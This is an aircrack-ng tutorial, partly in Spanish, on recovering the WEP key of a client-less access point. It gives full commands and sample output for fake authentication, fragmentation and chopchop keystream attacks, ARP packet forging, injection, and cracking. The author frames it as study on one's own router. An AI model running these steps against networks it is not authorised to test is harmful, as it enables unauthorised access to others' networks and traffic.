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Table of Contents
Tutorial: Como crackear WEP sin clientes
Version: 1.02. de 10 de Febrero de 2007 By: darkAudax Video: http://video.aircrack-ng.org/noclient/
Introducción
Hay muchas veces que encontramos redes wireless que no tienen clientes conectados. Este tutorial describe como obtener la clave WEP cuando no hay clientes. Aunque este tema ha sido discutido muchas veces en el Foro, este tutorial está hecho con la intención de entrar en más detalles y poner algunos ejemplos.
Es recomendable que cada uno experimente con su propio punto de acceso wireless, para familiarizarse con estas ideas y técnicas. Si no tienes un punto de acceso propio, recuerda que tienes que pedir permiso al propietario del router con el que quieras practicar este ateque.
Antes de nada hay que darles las gracias a los Desarrolladores de la suite Aircrack-ng por crear estas herramientas tan fantásticas.
Por favor, enviame cualquier sugerencia, positiva o negativa. Bien sean problemas o buenas ideas serán bienvenidas.
Puntos de partida
Suponemos que:
- Estás usando drivers parcheados para inyección. Puedes capturar paquetes con Wireshark para comprobar si estás inyectando.
- Estás físicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP.
- No hay paquetes de datos que vienen del punto de acceso. Beacons (balizas) y otros paquetes como “management frame packets” son inútiles para nuestros propósitos en este tutorial. Una forma rápida para comprobar el tráfico es ejecutar airodump-ng y ver si hay algún paquete de datos. En el caso de tener paquetes de datos capturados del punto de acceso en otras sesiones, podríamos usarlos para generar nuevo tráfico. Esto es para usuarios avanzados y este tutorial no da instrucciones detalladas para este caso.
- El punto de acceso usa encriptación WEP abierta (open authentication). No funcionará si la autentificación es compartida (shared key authentication) (SKA). Con SKA el único método si no existen clientes es capturar el PRGA xor data con airodump-ng handshake o hacer previamente un ataque con aireplay-ng. Esto es así porque necesitas el archivo PRGA xor para hacer una falsa autenticación de forma exitosa.
- Usamos la versión 0.7 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente.
Asegurate de que cumples todas las condiciones, sino no funcionará. En los siguientes ejemplos, tendrás que cambiar “ath0” por el nombre de la interface de tu tarjeta wireless.
Equipo usado
En este tutorial:
- Dirección MAC del PC ejecutando la suite aircrack-ng: 00:09:5B:EC:EE:F2
- BSSID (dirección MAC del punto de acceso): 00:14:6C:7E:40:80
- ESSID (nombre de la red Wireless): teddy
- Canal del AP: 9
- Interface Wireless: ath0
Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos.
Solution
Solution Overview
Here are the basic steps we will be going through:
- 1 - Set the wireless card MAC address
- 2 - Start the wireless interface in monitor mode on the specific AP channel
- 3 - Use aireplay-ng to do a fake authentication with the access point
- 4 - Use aireplay-ng chopchop or fragmenation attack to obtain PRGA
- 5 - Use packetforge-ng to create an arp packet using the PRGA obtain in the previous step
- 6 - Start airodump-ng on AP channel with filter for bssid to collect the new unique IVs
- 7 - Inject the arp packet created in step 5
- 8 - Run aircrack-ng to crack key using the IVs collected
Step 1 - Set the wireless card MAC address
To be honest, we will not be changing the wireless card MAC address.
This is a reminder to use your wireless card MAC address as the source MAC. I mention this explicitly as a reminder to use the actual MAC address from your card in “Step 3 - fake authentication” if you are replaying data from another session. Detailed instructions can be found in the FAQ: How do I change my card's MAC address ?.
Step 2 - Start the wireless interface in monitor mode on AP channel
Enter the following command to start the wireless card on channel 9 in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.
The system will respond:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
You will notice that “ath0” is reported above as being put into monitor mode.
Then enter “ifconfig ath0 up” to bring up ath0 to be used in later steps.
To confirm the interface is properly setup, enter “iwconfig”.
The system will respond:
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:09:5B:EC:EE:F2 Bit Rate:0 kb/s Tx-Power:15 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out: http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels then select the “Wifi Channel Selection and Channel Overlap” tab. This will give you the frequency for each channel.
Troubleshooting Tips
- If another interface started other then ath0 then you can use that one or use “airomon-ng stop athX” where X is each interface you want to stop.
Step 3 - Use aireplay-ng to do a fake authentication with the access point
This is a very important step.
In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet. In this state, no new IVs are created because the AP is ignoring all the injected packets.
The lack of association with the access point is the single biggest reason why injection fails.
To associate with an access point, use fake authentication:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Where:
- -1 means fake authentication
- 0 reassociation timing in seconds
- -e teddy is the wireless network name
- -a 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is our card MAC addresss
- ath0 is the wireless interface name
Success looks like:
18:18:20 Sending Authentication Request 18:18:20 Authentication successful 18:18:20 Sending Association Request 18:18:20 Association successful :-)
Or another variation for picky access points:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Where:
- 6000 - Reauthenticate very 6000 seconds. The long period also causes keep alive packets to be sent.
- -o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
- -q 10 - Send keep alive packets every 10 seconds.
Success looks like:
18:22:32 Sending Authentication Request 18:22:32 Authentication successful 18:22:32 Sending Association Request 18:22:32 Association successful :-) 18:22:42 Sending keep-alive packet 18:22:52 Sending keep-alive packet # and so on.
Here is an example of what a failed authentication looks like:
8:28:02 Sending Authentication Request 18:28:02 Authentication successful 18:28:02 Sending Association Request 18:28:02 Association successful :-) 18:28:02 Got a deauthentication packet! 18:28:05 Sending Authentication Request 18:28:05 Authentication successful 18:28:05 Sending Association Request 18:28:10 Sending Authentication Request 18:28:10 Authentication successful 18:28:10 Sending Association Request
Notice the “Got a deauthentication packet” and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.
Troubleshooting Tips
- Some access points are configure to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list.
- If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…
Run: “tcpdump -n -e -s0 -vvv -i ath0”
Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:09:5B:EC:EE:F2) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.
Step 4 - Use aireplay-ng chopchop or fragmenation attack to obtain PRGA
The objective of the chopchop and fragmentation attacks is to obtain a PRGA (pseudo random genration algorithm) bit file. This PRGA is not the WEP key and cannot be used to decrypt packets. However, it can be used to create new packets for injection. The creation of new packets will be covered later in the tutorial.
Either chopchop or fragmentation attacks can be to obtain the PRGA bit file. The result is the same so use whichever one works for you. The pros and cons of each attack are described on the aircrack-ng page.
We will cover the fragmentation techninque first. Start anther console session and run:
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Where:
- -5 means the fragmentation attack
- -b 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
- ath0 is the wireless interface name
The system will respond:
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0 Waiting for a data packet... Read 127 packets... Size: 114, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = 01:00:5E:00:00:FB Source MAC = 00:40:F4:77:E5:C9 0x0000: 0842 0000 0100 5e00 00fb 0014 6c7e 4080 .B....^.....l~@. 0x0010: 0040 f477 e5c9 6052 8c00 0000 3073 d265 .@.w..`R....0s.e 0x0020: c402 790b 2293 c7d5 89c5 4136 7283 29df ..y.".....A6r.). 0x0030: 4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b N.^._CO..7?.M..; 0x0040: 8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5 .DX...z.+.>...O. 0x0050: 4563 906d 0d90 88c4 5532 a602 a8ea f8e2 Ec.m....U2...... 0x0060: c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1 .1..+(...."m.qj. 0x0070: 9c9f .. Use this packet ? y
When a packet from the access point arrives, enter “y” to proceed. You may need to try a few to be successful.
When successful, the system reponds:
Saving chosen packet in replay_src-0203-180328.cap Data packet found! Sending fragmented packet Got RELAYED packet!! Thats our ARP packet! Trying to get 384 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Trying to get 1500 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Saving keystream in fragment-0203-180343.xor Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Success! The file “fragment-0203-180343.xor” can then be used in the next step to generate an arp packet.
If the fragmentation attack was not successful, you can then try the chopchop technique next. Run:
aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2
Where:
- -4 means the chopchop attack
- -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
- ath0 is the wireless interface name
The system responds:
Read 165 packets... Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:40:F4:77:E5:C9 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:...._.." 0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H......._=..C 0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ....j.....%.[.(s 0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C...>.q.r.e.i. 0x0050: cfeb 4a72 be46 ..Jr.F Use this packet ? y
You respond “y” above and the system continues.
Saving chosen packet in replay_src-0201-191639.cap Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms Offset 82 ( 5% done) | xor = 07 | pt = 4D | 161 frames written in 483ms Offset 81 ( 7% done) | xor = EB | pt = 00 | 12 frames written in 36ms Offset 80 ( 9% done) | xor = CF | pt = 00 | 152 frames written in 456ms Offset 79 (11% done) | xor = 05 | pt = 00 | 29 frames written in 87ms Offset 78 (13% done) | xor = 69 | pt = 00 | 151 frames written in 454ms Offset 77 (15% done) | xor = CA | pt = 00 | 24 frames written in 71ms Offset 76 (17% done) | xor = 65 | pt = 00 | 129 frames written in 387ms Offset 75 (19% done) | xor = 9E | pt = 00 | 36 frames written in 108ms Offset 74 (21% done) | xor = 72 | pt = 00 | 39 frames written in 117ms Offset 73 (23% done) | xor = 01 | pt = 00 | 146 frames written in 438ms Offset 72 (25% done) | xor = 71 | pt = 00 | 83 frames written in 249ms Offset 71 (26% done) | xor = A1 | pt = 00 | 43 frames written in 129ms Offset 70 (28% done) | xor = 3E | pt = 00 | 98 frames written in 294ms Offset 69 (30% done) | xor = BB | pt = 00 | 129 frames written in 387ms Offset 68 (32% done) | xor = AE | pt = 00 | 248 frames written in 744ms Offset 67 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms Offset 66 (36% done) | xor = 43 | pt = 00 | 101 frames written in 303ms Offset 65 (38% done) | xor = D4 | pt = 00 | 158 frames written in 474ms Offset 64 (40% done) | xor = 16 | pt = 00 | 197 frames written in 591ms Offset 63 (42% done) | xor = 7F | pt = 0C | 72 frames written in 217ms Offset 62 (44% done) | xor = 1F | pt = 37 | 166 frames written in 497ms Offset 61 (46% done) | xor = 5C | pt = A8 | 119 frames written in 357ms Offset 60 (48% done) | xor = 9B | pt = C0 | 229 frames written in 687ms Offset 59 (50% done) | xor = 91 | pt = 00 | 113 frames written in 339ms Offset 58 (51% done) | xor = 25 | pt = 00 | 184 frames written in 552ms Offset 57 (53% done) | xor = 94 | pt = 00 | 33 frames written in 99ms Offset 56 (55% done) | xor = F3 | pt = 00 | 193 frames written in 579ms Offset 55 (57% done) | xor = D6 | pt = 00 | 17 frames written in 51ms Offset 54 (59% done) | xor = FA | pt = 00 | 81 frames written in 243ms Offset 53 (61% done) | xor = EA | pt = 01 | 95 frames written in 285ms Offset 52 (63% done) | xor = 5D | pt = 37 | 24 frames written in 72ms Offset 51 (65% done) | xor = 33 | pt = A8 | 20 frames written in 59ms Offset 50 (67% done) | xor = CC | pt = C0 | 97 frames written in 291ms Offset 49 (69% done) | xor = 03 | pt = C9 | 188 frames written in 566ms Offset 48 (71% done) | xor = 34 | pt = E5 | 48 frames written in 142ms Offset 47 (73% done) | xor = 34 | pt = 77 | 64 frames written in 192ms Offset 46 (75% done) | xor = 51 | pt = F4 | 253 frames written in 759ms Offset 45 (76% done) | xor = 98 | pt = 40 | 109 frames written in 327ms Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms Offset 43 (80% done) | xor = 5E | pt = 01 | 194 frames written in 583ms Offset 42 (82% done) | xor = AF | pt = 00 | 99 frames written in 296ms Offset 41 (84% done) | xor = C4 | pt = 04 | 164 frames written in 492ms Offset 40 (86% done) | xor = CE | pt = 06 | 69 frames written in 207ms Offset 39 (88% done) | xor = 9D | pt = 00 | 137 frames written in 411ms Offset 38 (90% done) | xor = FD | pt = 08 | 229 frames written in 688ms Offset 37 (92% done) | xor = 13 | pt = 01 | 232 frames written in 695ms Offset 36 (94% done) | xor = 83 | pt = 00 | 19 frames written in 58ms Offset 35 (96% done) | xor = 4E | pt = 06 | 230 frames written in 689ms Sent 957 packets, current guess: B9... The AP appears to drop packets shorter than 35 bytes. Enabling standard workaround: ARP header re-creation. Saving plaintext in replay_dec-0201-191706.cap Saving keystream in replay_dec-0201-191706.xor Completed in 21s (2.29 bytes/s)
Success! The file “replay_dec-0201-191706.xor” above can then be used in the next step to generate an arp packet.
Helpful Tips
- Be sure the packet is 68 or more bytes otherwise you may not have enough PRGA data to subsquently generate a packet. The PRGA captured has to equal or greater then the packet length we want to generate.
- At home, to generate some packets to force chopchop to start, ping a non-existant IP on your network. This forces an arp to be broadcast and this will show up in chopchop to be used.
- You can check decrypted packet by running “tcpdump -n -vvv -e -s0 -r replay_dec-0201-191706.cap”. In our example above:
reading from file replay_dec-0201-191706.cap, link-type IEEE802_11 (802.11) 19:17:06.842866 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:e5:c9 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.1.12 tell 192.168.1.1
- If something happens part way through chopchop, you can reuse the source packet by entering “aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r replay_src-0201-191639.cap”. The replay source file is noted when chopchop starts.
- Taking the previous tip further, if you have a capture file from another session, you can use it as input “aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r capture-from-some-other-time.cap”
Troubleshooting Tips
- If the first packet you select does not work, then try a few others. Sometimes it takes more then one try to be successful with either attack.
- The chopchop attack will not be successful on some access points. If this happens, move onto the fragmentation attack. And vice versa.
- Make sure you are properly associated. To check this, follow the tcpdump instructions in step 2.
Step 5 - Use packetforge-ng to create an arp packet
In the previous step, we obtained PRGA. It does not matter which attack generated the PRGA, both are equal. This PRGA is stored in the files ending with “xor”. We can then use this PRGA to generate a packet for injection. We will be generating an arp packet for injection. The objective is to have the access point rebroadcast the injected arp packet. When it rebroacasts it, a new IV is obtained. All these new IVs will ultimately be used to crack the WEP key.
But first, lets generate the arp packet for injection by entering:
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0203-180343.xor -w arp-request
Where:
- -0 means generate an arp packet
- -a 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is MAC address of our card
- -k 255.255.255.255 is the destination IP (most APs respond to 255.255.255.255)
- -l 255.255.255.255.255 is the source IP (most APs respond to 255.255.255.255)
- -y fragment-0203-180343.xor is file to read the PRGA from
- -w arp-request is name of file to write the arp packet to
The system will respond:
Wrote packet to: arp-request
Helpful Tips
- After creating the packet, use tcpdump to review it from a sanity point of view. See below. It looks good!
tcpdump -n -vvv -e -s0 -r arp-request
reading from file arp-request, link-type IEEE802_11 (802.11) 10:49:17.456350 WEP Encrypted 258us BSSID:00:14:6c:7e:40:80 SA:00:09:5b:ec:ee:f2 DA:Broadcast Data IV: 8f Pad 0 KeyID 0
Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct. These steps are not required, they just prove to yourself that you have generated the correct packet.
Decrypt the packet: airdecap-ng -e teddy -w <put your WEP key here> arp-request View the decrypted packet: tcpdump -n -r arp-request-dec It should be something like:
reading from file arp-request-dec, link-type EN10MB (Ethernet) 10:49:17.456350 arp who-has 255.255.255.255 tell 255.255.255.255
Step 6 - Start airodump-ng
Open another console session to capture the generated IVs. Then enter:
airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 –ivs -w capture ath0
Where:
- -c 9 is the channel for the wireless network
- –bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
- –ivs specfifies that you only want to capture the IVs. This keeps the file as small as possible.
- -w capture is file name prefix for the file which will contain the IVs.
- ath0 is the interface name.
Step 7 - Inject the arp packet
Using the console session where you generated the arp packet, enter:
aireplay-ng -2 -r arp-request ath0
Where:
- -2 means use interactive frame selection
- -r arp-request defines the file name from which to read the arp packet
- ath0 defines the interface to use
The system will respond:
Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:09:5B:EC:EE:F2 0x0000: 0841 0201 0014 6c7e 4080 0009 5bec eef2 .A....l~@...[... 0x0010: ffff ffff ffff 8001 8f00 0000 7af3 8be4 ............z... 0x0020: c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5 ...........q.Z8. 0x0030: f286 fdb3 55ee 113e da14 fb19 17cc 0b5e ....U..>.......^ 0x0040: 6ada 92f2 j... Use this packet ? y
Enter “y” to use this packet. The system responds by showing how many packets it is injecting and reminds you to start airodumump if it has not already been started:
Saving chosen packet in replay_src-0204-104917.cap You should also start airodump-ng to capture replies. End of file.
While this command is successfully running, the airodump-ng screen will look similar to:
CH 9 ][ Elapsed: 16 s ][ 2007-02-04 11:04 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 47 100 179 2689 336 9 11 WEP WEP teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:09:5B:EC:EE:F2 29 0 2707
You will notice that only one access point is being display since we included an airodump-ng filter to limit the capture to a single BSSID. Also notice that the station packets are roughly equal to the BSSID data packets. This means injection is working well. Also notice the data rate of 336 packets per second which is also an indicator that the injection is working well. This is a pretty “ideal” injection scenario.
Troubleshooting Tips
- If the BSSID data packets are not increasing make sure you are still associated with the access point. To do this, follow the tcpdump instructions in step 2.
Step 8 - Run aircrack-ng to obtain the WEP key
Start another console session and enter:
aircrack-ng *.ivs -b 00:14:6C:7E:40:80
Where:
- *.ivs selects all files ending in “ivs”.
- -b 00:14:6C:7E:40:80 selects the one access point we are interested in
You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 500,000 IVs for 128bit keys. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.
Troubleshooting Tips:
- Sometimes you need to try various techniques to crack the WEP key. Try “-n” to set various key lengths. Use “-f” and try various fudge factors. Use “-k” and try disabling various korek methods.
Change Log
Februray 16/2007
- Added video from Offensive-Security
February 10/2007 v1.02
- Added the assumption with regards to open authentication
February 7/2007 v1.01
- Incorporated correction and feedback from cjaghblb
February 4/2007 v1.00
- Initial Release